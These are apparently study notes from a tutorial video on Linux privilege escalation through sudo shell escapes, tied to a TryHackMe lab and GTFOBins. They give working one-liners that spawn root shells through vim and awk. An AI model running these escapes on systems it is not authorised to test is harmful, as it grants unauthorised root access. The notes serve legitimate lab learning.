Search

Sudo Shell Escaping

Resources for this video:

GTFOBins - https://gtfobins.github.io/

Linux PrivEsc Playground - https://tryhackme.com/room/privescplayground

You can check for what sudo commands you have access to:

sudo -l

that’s L

image

and take these to find an escalation path on GTFOBins

vim | GTFOBins

we can find sudo options so we know how to get sudo and priv esc (you can click it on the top part of the page)

image

Perfect example for shell:

sudo vim -c ':!/bin/sh'
image

to quit out of vim:

:q!

what about awk?

doing the same, we can see:

image

trying it:

sudo awk 'BEGIN {system("/bin/sh")}'
image

you can also do bin/bash:

sudo awk 'BEGIN {system("/bin/bash")}'
image

THM write-up: Linux Privesc Playground | Planet DesKel